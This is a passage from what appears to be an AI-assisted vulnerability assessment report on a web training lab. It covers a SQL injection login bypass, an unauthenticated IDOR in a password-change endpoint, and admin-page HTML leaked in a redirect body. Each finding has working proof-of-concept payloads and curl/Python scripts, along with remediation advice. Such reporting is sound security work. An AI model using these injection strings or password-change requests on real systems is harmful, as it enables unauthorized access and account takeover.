ordinary_login, ordinary_admin = attempt(
    "nonexistent_verifier_b26b", "invalid_verifier_b26b"
)
false_login, false_admin = attempt("admin' OR 1=2#", "x")
true_login, true_admin = attempt("admin' OR 1=1#", "x")
```

Proof of concept | F-012 (continued)

```
print("ordinary login:", ordinary_login.status_code, ordinary_login.headers.get("Location"))
print("ordinary admin:", ordinary_admin.status_code, ordinary_admin.headers.get("Location"))
print("false login:", false_login.status_code, false_login.headers.get("Location"))
print("false admin:", false_admin.status_code, false_admin.headers.get("Location"))
print("true login:", true_login.status_code, true_login.headers.get("Location"))
print("true admin:", true_admin.status_code, true_admin.headers.get("Location"))
print("true admin contains profile heading:", "Information" in true_admin.text)

# Verified expected result:
# ordinary/false login: 200 without Location: admin.php
# ordinary/false admin: 302 Location: index.php
# true login: 302 Location: admin.php
# true admin: 200 with populated profile content
```

Verification limits | F-012

Testing established access only to the observed protected administrator profile page.
No administrative state-changing operation was exercised.
No database enumeration or extraction beyond data rendered by the protected page was attempted.
Availability impact was not tested.

Impact not established | F-012

Arbitrary database read or write access
Disclosure of password hashes or credentials
Modification of application data or permissions
Operating-system command execution or full server compromise
Availability impact

Evidence references | F-012

E1: outcome-c115808a96c9410d9d398419f357ba76
E2: outcome-869972f70ff74cb6ad7f42adb2213d9f
E3: outcome-2bc3b16e42224068bc62dd7e939482f1
E4: outcome-db43b7960ccb45c18baee5e9ed8130fc
E5: outcome-cd05918c92914ba787798f7d8bf1db5d
E6: outcome-f54c04ebfedc41e18a9bbbfd4a921802

Recommended remediation | F-012

Use parameterized queries or prepared statements for every login query, binding the username and password as data rather than concatenating them into SQL. Store passwords using a modern password hash and verify them in application logic after fetching a user by an exact parameterized identifier. Return the same generic failure behavior for invalid credentials. Invalidate existing administrator sessions after deployment, review other database queries for the same concatenation pattern, and add automated tests showing that quote characters, SQL comments, and true/false predicates are treated as literal usernames and cannot create an authenticated session.

Finding reference: finding-9222486df39b4285a1669b22cdc5bbb4

F-013. Unauthenticated IDOR lets callers target another user in the password-change operation

Medium Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/idor/changing-password/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
POST	user_id	Exploited
RECORDED CATEGORY	**CWE**	**CVSS**
Insecure-direct-object-reference-broken-object-level-authorization	CWE-639	Not recorded

Description | F-013

The endpoint POST /lab/idor/changing-password/ uses a client-supplied user_id to choose whose password-change operation is processed. In a request with no authentication cookies, changing the hidden field from its rendered value of 1 to the existing ID 2 caused the application to identify Pierre as the affected account while the page identified the current context as Christopher. A nonexistent-ID control did not populate an affected username. This demonstrates that object selection is controlled by the caller without an ownership or authentication check.

Prerequisites | F-013

The attacker needs network access to the endpoint and must know or guess an existing numeric user ID; no cookie, authenticated session, or current password was supplied in the verified requests.

Impact | F-013

An unauthenticated attacker who can guess an existing user ID can cause the password-change handler to target that user's account and receive an explicit server acknowledgement for that account. Because a downstream login was not tested, this report does not claim verified account takeover or independently verified persistence of the new password.

Technical analysis | F-013

The form renders user_id as a hidden field, but hidden inputs are attacker-controlled. The positive request submitted password=[redacted] and user_id=2 without cookies. The response displayed the current page context as Christopher, yet reported that Pierre's password had been changed. The matched control retained the same method, endpoint, lack of authentication, and password-field structure but changed user_id to nonexistent value 9999; its affected-user field was empty. This valid-versus-invalid identifier differential shows that the backend dereferences user_id and uses it to select an account without binding that selection to an authenticated principal.

Evidence | F-013

With password=[redacted] and user_id=2, the server returned HTTP 200, “Password change successful!”, and “Pierre's password has been changed.” The page simultaneously displayed “Your username: Christopher.” With a matched nonexistent-ID control, user_id=9999, the server returned an empty affected-user name instead of Pierre.

Reproduction steps | F-013

1. From a client with no authentication cookies, send POST /lab/idor/changing-password/ with Content-Type: application/x-www-form-urlencoded.
2. Set password to an authorized test value such as VerifierFresh_c10814e0_P2! and set user_id=2.
3. Observe HTTP 200, the page context “Your username: Christopher,” and the messages “Password change successful!” and “Pierre's password has been changed.”
4. Send the same request shape with a different test password and nonexistent user_id=9999.
5. Observe that the affected-user name is empty rather than Pierre. The populated valid-user result, contrasted with the invalid-ID control and the Christopher/Pierre mismatch, demonstrates that the caller-controlled ID selects another account.

Verification and comparison | F-013

Fresh unauthenticated reproduction showed that POST /lab/idor/changing-password/ accepts the client-controlled user_id=2 while the page identifies the requester context as Christopher and returns “Password change successful!” followed by “Pierre's password has been changed.” A matched request differing only by user_id=9999 returned the same generic success heading but no affected username, showing that the Pierre result is tied to a valid referenced user rather than a static success page. This confirms a broken object-authorization mechanism: the server trusts an unauthenticated caller's user_id when selecting the target of a password-change operation. The evidence proves acceptance and server-side acknowledgement of an operation against Pierre; it does not independently prove database persistence, that the supplied password can authenticate as Pierre, or account takeover because no victim login/readback was available.

Proof of concept | F-013

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
#!/bin/sh
BASE='http://lab-hw.my.id:1337'
# Use only an authorized test account ID and test password.
curl -i -sS -X POST "$BASE/lab/idor/changing-password/" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'password=<AUTHORIZED_TEST_PASSWORD>' \
  --data-urlencode 'user_id=<AUTHORIZED_OTHER_USER_ID>'

# Negative control: a nonexistent account ID should not name the other user.
curl -i -sS -X POST "$BASE/lab/idor/changing-password/" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'password=<AUTHORIZED_CONTROL_PASSWORD>' \
  --data-urlencode 'user_id=9999'
```

Verification limits | F-013

The response was the only available confirmation of the operation; persistence of the new password was not independently read back.
No login flow was exercised, so the chosen password's ability to authenticate as Pierre was not verified.
The valid-ID and invalid-ID responses both included a generic success heading, so that heading alone is not evidence; the populated Pierre target and context mismatch provide the authorization signal.

Impact not established | F-013

Successful account takeover of Pierre.
Durable persistence of the submitted password in the account database.
Rejection of Pierre's prior password or acceptance of the verifier-supplied password by an authentication endpoint.

Evidence references | F-013

E1: outcome-0745b9ba804e43e8bbf66368ebb3a7e2
E2: outcome-e9adb621561c46238e9c944c99e666d6

Recommended remediation | F-013

Require authentication before accepting password changes. Derive the target account exclusively from the authenticated server-side session rather than from a hidden user_id field. If administrators are permitted to reset other users' passwords, expose that as a separate privileged operation and perform an explicit server-side role and object-authorization check. For ordinary self-service changes, require suitable reauthentication or the current password, apply CSRF protection, invalidate relevant sessions as appropriate, and return success only after the authorized database update commits. Add tests confirming that anonymous callers and users targeting any ID other than their own receive a denial and no state change.

Finding reference: finding-5c87dacb25b54591ab3eb17fc3b04218

F-014. Unauthenticated Admin Dashboard HTML Disclosed in 302 Redirect Response

Low Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/broken-authentication/no-redirect/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
GET	Not recorded	Data extracted
RECORDED CATEGORY	**CWE**	**CVSS**
Information-disclosure-caused-by-redirect-only-authentication-enforcement	CWE-200	Not recorded

Description | F-014

GET /lab/broken-authentication/no-redirect/ discloses the admin dashboard frontend to unauthenticated clients in the body of an HTTP 302 response. Although the response directs normal clients to login.php, it sends the protected page markup before navigation occurs. An attacker can suppress redirect following and read that body without credentials.

Prerequisites | F-014

The attacker needs network access to the endpoint and an HTTP client that exposes redirect response bodies or does not automatically follow redirects; no credentials or authenticated cookies are required.

Impact | F-014

An unauthenticated remote user can retrieve the admin dashboard's HTML structure, labels, navigation items, and frontend implementation details. This may aid reconnaissance and exposes content intended to sit behind the login boundary. The verified response did not contain populated private records, and no privileged action or complete authentication bypass was demonstrated.

Technical analysis | F-014

The server returns `302 Found` with `Location: login.php`, but the response body is not empty or limited to a redirect notice. It contains a 42,511-byte dashboard document, including the explicit comment `You can see the frontend of the admin panel` and `<title>SVPanel - Dashboard</title>`. HTTP clients are permitted to expose a redirect response body, and clients such as curl do not follow redirects unless requested. Therefore, issuing a redirect after generating protected content is not an access-control boundary. The matched control used the same anonymous GET with redirect following enabled and reached login.php, which returned the username/password form and `<title>No redirect</title>`. The contrast shows why normal browser-style navigation can conceal the disclosure while direct inspection reveals it.

Evidence | F-014

A fresh anonymous request with redirects disabled received HTTP 302 and Location: login.php while the same response body contained the marker “You can see the frontend of the admin panel,” the title “SVPanel - Dashboard,” and the dashboard markup. A separate anonymous request that followed redirects ended at login.php and displayed only the login form.

Reproduction steps | F-014

1. From a system with network access to the application, make an unauthenticated request to `http://lab-hw.my.id:1337/lab/broken-authentication/no-redirect/`. Do not send cookies or credentials, and do not follow redirects.
2. Observe `HTTP/1.1 302 Found` and `Location: login.php`.
3. Inspect that same 302 response body. It contains `You can see the frontend of the admin panel` and `<title>SVPanel - Dashboard</title>` along with the dashboard markup.
4. As a control, repeat the same cookie-free request while allowing redirects. The final URL is `/lab/broken-authentication/no-redirect/login.php`, and the response contains the login form and `<title>No redirect</title>` rather than the dashboard document.
5. The only behavior changed is redirect handling. Because the protected HTML is already present in the intermediate unauthenticated response, the redirect does not prevent its disclosure.

Verification and comparison | F-014

Fresh anonymous requests reproduced the narrow claim. With redirect following disabled, GET /lab/broken-authentication/no-redirect/ returned HTTP 302 Location: login.php but also returned a 42,511-byte response body containing both “You can see the frontend of the admin panel” and the complete “SVPanel - Dashboard” HTML. The matched anonymous control followed the redirect and ended at login.php with only the login form. This proves that the server discloses the intended admin frontend before issuing the redirect and that redirect behavior merely hides, rather than protects, that response content. The evidence does not establish access to populated sensitive records, authenticated state, working administrative operations, or permission changes.

Proof of concept | F-014

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
#!/usr/bin/env bash
set -euo pipefail
TARGET='http://lab-hw.my.id:1337/lab/broken-authentication/no-redirect/'

# Positive test: no credentials/cookies and no redirect following.
curl -sS -i --max-redirs 0 "$TARGET" | tee /tmp/no-redirect-positive.txt
grep -F 'HTTP/1.1 302' /tmp/no-redirect-positive.txt
grep -Fi 'Location: login.php' /tmp/no-redirect-positive.txt
grep -F 'You can see the frontend of the admin panel' /tmp/no-redirect-positive.txt
grep -F '<title>SVPanel - Dashboard</title>' /tmp/no-redirect-positive.txt

# Control: the same anonymous request with redirects enabled reaches the login form.
curl -sS -L "$TARGET" | tee /tmp/no-redirect-control.html
grep -F '<title>No redirect</title>' /tmp/no-redirect-control.html
grep -F 'name="uname"' /tmp/no-redirect-control.html
grep -F 'name="passwd"' /tmp/no-redirect-control.html
```

Verification limits | F-014

The disclosed dashboard appears to be frontend/template content; the test did not identify populated private records in the response.
No dashboard action, backend API, administrative state change, authenticated session, or permission change was tested or demonstrated.
Normal redirect-following clients display the login form, although the intermediate response body remains available to clients that retain or directly inspect it.

Impact not established | F-014

Full authentication bypass is not established.
Access to sensitive user or business data is not established.
Ability to execute administrative operations or alter permissions is not established.

Evidence references | F-014

E1: outcome-e9ba9f120cf54154b1344216483c61b3
E2: outcome-050eaa5b729d4394894058b2ea12d0a6

Recommended remediation | F-014

Perform authentication and authorization checks before rendering or loading any protected page content. If the user is unauthenticated, immediately terminate request processing after sending the redirect (for example, `header('Location: login.php'); exit;` in PHP), or return a 401/403 response with no protected content. Apply the same server-side authorization check independently to every dashboard route, API endpoint, static artifact that is not meant to be public, and state-changing operation. Add an automated test that requests each protected route without a session, disables redirect following, and asserts that no protected markers or data appear in the redirect response body.

Finding reference: finding-01f9c6b9dde8450b86889caee85a0222

4. Report reference

This document presents verified findings from the validated saved report for one Run and its historical Scope. Source classifications and Finding identities are retained as recorded.

RUN REFERENCE

run-dashboard-fea0cefb9f394d8d82ec3e8ff8176a10

REPORT SAVED	PDF EXPORTED
20 Oct 2026, 13:44 UTC	20 Oct 2026, 13:45 UTC

Source report SHA-256

a1cfe1fac00a7abc6e4b8e009558e4e649a50fb04be166f844f1dad3cda770ef

Source human report SHA-256

ed7d15ea0541d17590e92e47233a89cfd2c6c33275826f7c58834107a2700d91

The SHA-256 references identify the saved source artifacts; they are not a digital signature or a hash of this PDF. Each download is a snapshot. For later verified findings, reopen the same Run's Report and download the updated version.

5. AI-assisted assessment and human review

This assessment was performed by Hunt-Web using AI agents, automated testing tools, and the scanner's verification mechanisms. AI models help analyze the application, select checks, and describe findings.

Findings marked Verified have passed Hunt-Web's automated verification. This status does not mean they have been reviewed by a human or are free from errors. Misinterpretation, inaccurate impact or severity assessments, and undetected vulnerabilities remain possible.

Before using this report to guide remediation or security decisions, a human reviewer should examine the evidence, reproduce findings in an authorized environment, and confirm their impact and severity in the application's context.

The absence of findings in an area does not guarantee that it is secure. Conclusions apply to the Scope, account access, and conditions at the time of testing.